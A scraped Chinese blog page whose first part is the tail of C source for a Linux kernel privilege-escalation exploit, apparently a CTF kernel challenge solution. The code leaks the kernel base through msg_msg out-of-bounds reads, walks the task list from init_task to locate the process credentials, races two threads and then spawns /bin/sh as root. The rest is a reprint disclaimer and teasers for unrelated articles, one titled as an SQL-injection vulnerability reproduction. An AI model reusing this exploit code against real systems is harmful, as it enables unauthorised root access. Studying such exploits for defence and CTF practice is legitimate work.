(msgsnd(msg_idx[i], msg_buf, 0x40-0x30, 0) < 0) err_exit("FAILED to send a 0x40 msg");}*(uint64_t*)(buffer+0x10) = 1;*(uint64_t*)(buffer+0x18) = 0x1000-0x30;edit(0, buffer, OUTBOUND, 1);memset(tmp, 0, sizeof(tmp));res = msgrcv(qid, msg_buf, 0x1000-0x30, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);if (res < 0x1000-0x30) err_exit("FAIELD to OOR msg msg");hexx("OOB DATA LEN", res);
//      binary_dump("MSG OOB DATA", msg_buf, 0x1000);vim_idx = -1;kernel_offset = -1;for (int i = 0; i < 0x1000 / 8; i++){size_t value = *(size_t*)(tmp+i*8);if (kernel_offset == -1){kernel_offset = leak_offset(value);}if (vim_idx == -1 && value == 0xAAAABBBBCCCCDDDD){vim_idx = *(int*)(tmp+i*8+8);}if (kernel_offset != -1 && vim_idx != -1)break;}if (kernel_offset == -1) err_exit("FAILED to leak kernel_offset");hexx("kernel_offset", kernel_offset);if (vim_idx == -1) err_exit("FAILED to hit msg_msg");hexx("the hit msg_msg idx", vim_idx);msg_buf->m_type = 2;if (msgsnd(msg_idx[vim_idx], msg_buf, 0x2000-0x30-8, 0) < 0) err_exit("FAILED to send a 0x2000 msg");memset(tmp, 0, sizeof(tmp));res = msgrcv(qid, msg_buf, 0x1000-0x30, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);if (res < 0x1000-0x30) err_exit("FAIELD to OOR msg msg");hexx("OOB DATA LEN", res);
//      binary_dump("MSG OOB DATA", msg_buf, 0x1000);ll_next = ll_prev = -1;for (int i = 0; i < 0x1000 / 8; i++){size_t value = *(size_t*)(tmp+i*8);int iidx = *(int*)(tmp+i*8+8);if (value == 0xAAAABBBBCCCCDDDD && iidx == vim_idx){ll_next = *(uint64_t*)(tmp+i*8-0x30);ll_prev = *(uint64_t*)(tmp+i*8-0x28);break;}}if (ll_next == -1 || ll_prev == -1)err_exit("FAILED to leak msg_seg addr");hexx("ll_next", ll_next);hexx("ll_prev", ll_prev);size_t tasks_off = 0x298;size_t pid_off = 0x398;size_t cred_off = 0x540;size_t init_task = 0xffffffff81c124c0 + kernel_offset;size_t init_cred = 0xffffffff81c33060 + kernel_offset;hexx("init_task", init_task);memset(buffer, 0, sizeof(buffer));struct msg_header* mh = (struct msg_header*)buffer;mh->l_next = 0;mh->l_prev = 0;mh->m_type = 1;mh->m_ts   = 0x2000-0x30-8;mh->security = 0;size_t real_pid = getpid();size_t cur_task = init_task;size_t cur_cred = 0;uint64_t* task_task = NULL;hexx("real pid", real_pid);while(1){mh->next = cur_task - 8;edit(0, buffer, OUTBOUND, 0);memset(tmp, 0, sizeof(tmp));res = msgrcv(qid, msg_buf, 0x2000-0x30-8, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);if (res < 0x2000-0x30-8) err_exit("FAILED to ABR msg_segment");task_task = (uint64_t*)(msg_buf->m_text+0x1000-0x30);hexx("cur pid", task_task[pid_off/8]&0xffffffff);if (real_pid == (task_task[pid_off/8]&0xffffffff)){cur_cred = task_task[cred_off/8];break;}cur_task = task_task[tasks_off/8+1] - tasks_off;}hexx("cur_task", cur_task);hexx("cur_cred", cur_cred);cred_cred = cur_cred;res = msgrcv(msg_idx[vim_idx], msg_buf, 0x40-0x10, 1, IPC_NOWAIT|MSG_NOERROR);hexx("msgrcv to free", res);res = msgrcv(msg_idx[vim_idx], msg_buf, 0x2000-0x30-8, 2, IPC_NOWAIT|MSG_NOERROR);hexx("msgrcv to free", res);pthread_t th1, th2;res = pthread_create(&th1, NULL, thread_handler1, NULL);if (res != 0) err_exit("FAILED to create a new thread");res = pthread_create(&th2, NULL, thread_handler2, NULL);if (res != 0) err_exit("FAILED to create a new thread");pthread_join(th1, NULL);pthread_join(th2, NULL);hexx("UID", getuid());system("/bin/sh");puts("[+] NEVER EXP END");return 0;
}
xia

效果如下:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/192637.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

传媒行业CRM:打造高效客户管理,提升品牌影响力

传媒行业充满竞争和变化&#xff0c;传媒企业面临着客户管理不透明、业务流程混乱、销售数据分析不足&#xff0c;无法优化营销策略和运营管理等问题。CRM系统是企业实现数智化管理的神器&#xff0c;可以有效解决这些问题。下面说说&#xff0c;传媒行业CRM系统推荐。 1、建立…

Java项目调用C/C++ SDK的方案汇总

Java项目调用C/C SDK的方案汇总 背景调研JNIJNativeJNAJavaCPP 背景 Java项目中需要调用到一个C项目&#xff0c;于是对目前通用的解决方案做了一些调研&#xff0c;这里做一个汇总。 调研 JNI JNI&#xff1a;Java Native Interface&#xff0c;JNI是一套编程接口&#xf…

基于社区电商的Redis缓存架构-库存模块缓存架构(下)

基于缓存分片的下单库存扣减方案 将商品进行数据分片&#xff0c;并将分片分散存储在各个 Redis 节点中&#xff0c;那么如何计算每次操作商品的库存是去操作哪一个 Redis 节点呢&#xff1f; 我们对商品库存进行了分片存储&#xff0c;那么当扣减库存的时候&#xff0c;操作…

PyEcharts快速上手_Python数据分析与可视化

PyEcharts快速上手 导入图表类型添加数据设置图表样式输出图表链式调用 导入图表类型 和其他库的导入方法一样&#xff0c;在绘图之前首先要在文件开头导入所需图表类型。 from pyecharts.charts import BarBar 类型是柱状图/条形图在 pyEcharts 中的英文名。 pyEcharts 中有…

vr工业制造流程3D模拟仿真可视化展示

工业仿真3D数字化展示系统具有多方面的独特之处&#xff0c;主要体现在以下几个方面&#xff1a; 1、真实感和交互性&#xff1a;该系统可以将实际的工业设备、产品、场景等进行数字化建模&#xff0c;通过三维图形技术将其呈现在计算机屏幕上&#xff0c;使用户可以在虚拟环境…

Python中的并发编程

目录 一、引言 二、Python中的线程 1、线程的概念 2、创建线程 3、线程同步和锁 4、线程池 三、Python中的进程 1、进程的概念 2、创建进程 四、Python中的异步IO 1、异步IO的概念 2、异步IO的实现 3、异步IO的并发执行 五、总结 一、引言 并发编程是一种计算机…

【漏洞复现】智跃人力资源管理系统GenerateEntityFromTable.aspx接口存在SQL注入漏洞 附POC

漏洞描述 智跃人力资源管理系统是基于B/S网页端广域网平台,一套考勤系统即可对全国各地多个分公司进行统一管控,成本更低。信息共享更快。跨平台,跨电子设备。智跃人力资源管理系统GenerateEntityFromTable.aspx接口处存在SQL注入漏洞,攻击者可通过该漏洞获取数据库中的信…

100W用户、8000W流量在线贺卡应用架构如何优化?

文章目录 &#x1f50a;博主介绍&#x1f964;本文内容&#x1f4e2;文章总结&#x1f4e5;博主目标 &#x1f50a;博主介绍 &#x1f31f;我是廖志伟&#xff0c;一名Java开发工程师、Java领域优质创作者、CSDN博客专家、51CTO专家博主、阿里云专家博主、清华大学出版社签约作…

GOLAND搭建GIN框架以及基础框架搭建

创建GO环境文件夹 终端输入安装GIN go get -u github.com/gin-gonic/gin如果遇到超时错误 package golang.org/x/net/html: unrecognized import path "golang.org/x/net/html": https fetch: Get "https://golang.org/x/net/html?go-get1": dial tcp …

KubeShark: Kubernetes的Wireshark

Wireshark可以帮助我们抓取并分析网络数据包&#xff0c;理解网络中发生的事情&#xff0c;那是否有工具可以帮助我们理解在K8S集群中发生的事情&#xff0c;帮助排查集群故障&#xff0c;Kubeshark就是这样的工具。原文: KubeShark: Wireshark for Kubernetes[1] 简介 Wiresha…

【动态代理详解】

动态代理 知道什么是动态代理以及动态代理能干什么就可以 代理的概述 什么是动态代理 ​ 使用jdk的反射机制&#xff0c;创建对象的能力&#xff0c; 创建的是代理类的对象。 动态&#xff1a;在程序执行时&#xff0c;调用jdk提供的方法才能创建代理类的对象。jdk动态代理&…

【Oracle】数据库登陆错误:ORA-28000:the account is locked解决方法

问题描述 在连接Oracle数据库的时候出现了ORA-28000:the account is locked报错&#xff0c;登录账号被锁定&#xff0c;出现这种情况就需要将被锁定用户解锁。 解决方法 解锁方法就是通过用system账号登录数据库&#xff0c;然后修改被锁定账户状态&#xff0c;具体如下图所示…

51爱心流水灯32灯炫酷代码

源代码摘自远眺883的文章&#xff0c;大佬是30个灯的&#xff0c;感兴趣的铁汁们可以去看看哦~&#xff08;已取得原作者的许可&#xff09;&#xff1a;基于STC89C51单片机设计的心形流水灯软件代码部分_单片机流水灯代码_远眺883的博客-CSDN博客 由于博主是个小菜鸡&#xff…

selenium+python

selenium 八大查找元素 from selenium import webdriver from selenium.webdriver.common.by import By# 创建一个 WebDriver 实例 driver webdriver.Chrome()# 打开网页 driver.get("https://www.baidu.com/")# 使用 find_element 方法查找元素 element driver.…

springboot 整合 Spring Security 上篇

1.创建springBoot 项目工程(spring6.0的底层、JDK17) 1.添加依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-security</artifactId></dependency>配置完成启动访问controller会出现登录…

prometheus部署及与grafana结合应用

一、prometheus 介绍 prometheus server 是 Prometheus组件中的核心部分&#xff0c;负责实现对监控数据的获取&#xff0c;存储以及查询。它会定期从静态配置的监控目标或者基于服务发现自动配置的自标中进行拉取数据&#xff0c;当新拉取到的数据大于配置的内存缓存区时&…

绘制彩色正多边形-第11届蓝桥杯选拔赛Python真题精选

[导读]&#xff1a;超平老师的Scratch蓝桥杯真题解读系列在推出之后&#xff0c;受到了广大老师和家长的好评&#xff0c;非常感谢各位的认可和厚爱。作为回馈&#xff0c;超平老师计划推出《Python蓝桥杯真题解析100讲》&#xff0c;这是解读系列的第10讲。 绘制彩色正多边形…

论文解读--Visual Lane Tracking and Prediction for Autonomous Vehicles

自动驾驶汽车视觉车道线跟踪和预测 摘要 我们提出了一种用于自动驾驶汽车跟踪水平道路车道标记位置的可视化方法。我们的方法是基于预测滤波的。预测步骤估计在每个新的图像帧中期望的车道标记位置。它也是基于汽车的运动学模型和嵌入式测程传感器产生的信息。使用适当准备的测…

弱网模拟工具

一、背景 一个人晚上在家通过 Wi-Fi 上网&#xff0c;在线电影播放基本流畅&#xff0c;可一旦在晚间用网高峰期打视频电话就画面糊&#xff0c;这时不仅可能带宽受限了&#xff0c;还可能有较高的丢包率。与有线网络通信相比&#xff0c;无线网络通信受环境影响会更大&#x…

【Java Web学习笔记】 1 - HTML入门

项目代码 https://github.com/yinhai1114/JavaWeb_LearningCode/tree/main/html 零、网页的组成 HTML是网页内容的载体。内容就是网页制作者放在页面上想要让用户浏览的信息&#xff0c;可以包含文字、图片视频等。 CSS样式是表现。就像网页的外衣。比如&#xff0c;标题字体、…